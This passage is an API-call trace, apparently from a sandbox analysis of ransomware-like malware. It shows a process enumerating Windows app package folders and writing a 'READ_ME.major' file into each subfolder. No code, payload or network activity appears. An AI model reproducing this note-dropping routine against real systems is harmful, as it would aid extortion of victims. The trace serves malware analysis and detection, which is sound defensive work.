ftLastAccessTime.dwLowDateTime=0xcea88d7b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf31ac27f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.957] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.957] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.958] CloseHandle (hObject=0x8fc) returned 1 [0188.958] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd493a5d4, ftLastAccessTime.dwHighDateTime=0x1d32748, ftLastWriteTime.dwLowDateTime=0xd493a5d4, ftLastWriteTime.dwHighDateTime=0x1d32748, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.958] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.960] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.962] CloseHandle (hObject=0x8fc) returned 1 [0188.962] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225eac14, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x225eac14, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x225eac14, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.962] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xceb05476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3186030, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.963] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.964] CloseHandle (hObject=0x8fc) returned 1 [0188.964] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf31ac27f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.964] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.969] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.969] CloseHandle (hObject=0x8fc) returned 1 [0188.970] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a3d6df, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x88a3d6df, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x88a3d6df, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.970] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.971] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.972] CloseHandle (hObject=0x8fc) returned 1 [0188.972] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xceb6027e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3186030, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.972] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0188.973] WriteFile (in: hFile=0x8fc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.974] CloseHandle (hObject=0x8fc) returned 1 [0188.974] FindNextFileW (in: hFindFile=0x660ab0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xceb6027e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf3186030, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0188.974] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x232bb675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660d30 [0188.974] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x232bb675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0188.974] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd3166c27, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0188.974] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.988] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.989] CloseHandle (hObject=0x900) returned 1 [0188.989] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0188.989] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.990] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.991] CloseHandle (hObject=0x900) returned 1 [0188.991] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0188.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.992] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.992] CloseHandle (hObject=0x900) returned 1 [0188.992] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcecefd70, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd30f451d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0188.992] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.994] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.995] CloseHandle (hObject=0x900) returned 1 [0188.995] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x232bb675, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x232bb675, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x232bb675, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0188.995] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0188.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.995] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.996] CloseHandle (hObject=0x900) returned 1 [0188.996] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0188.996] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.997] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.998] CloseHandle (hObject=0x900) returned 1 [0188.998] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0188.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0188.998] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0188.999] CloseHandle (hObject=0x900) returned 1 [0188.999] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0188.999] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0189.000] WriteFile (in: hFile=0x900, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.001] CloseHandle (hObject=0x900) returned 1 [0189.001] FindNextFileW (in: hFindFile=0x660d30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.002] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x232e193f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660cf0 [0189.002] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x232e193f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.002] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe34f28da, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35f5bdb6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35f5bdb6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.005] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.006] CloseHandle (hObject=0x904) returned 1 [0189.006] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34801ff, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7ab8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe34801ff, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.006] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0189.008] WriteFile (in: hFile=0x904, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.009] CloseHandle (hObject=0x904) returned 1 [0189.009] FindNextFileW (in: hFindFile=0x660cf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3459fc9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7b247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3459fc9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.009] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" 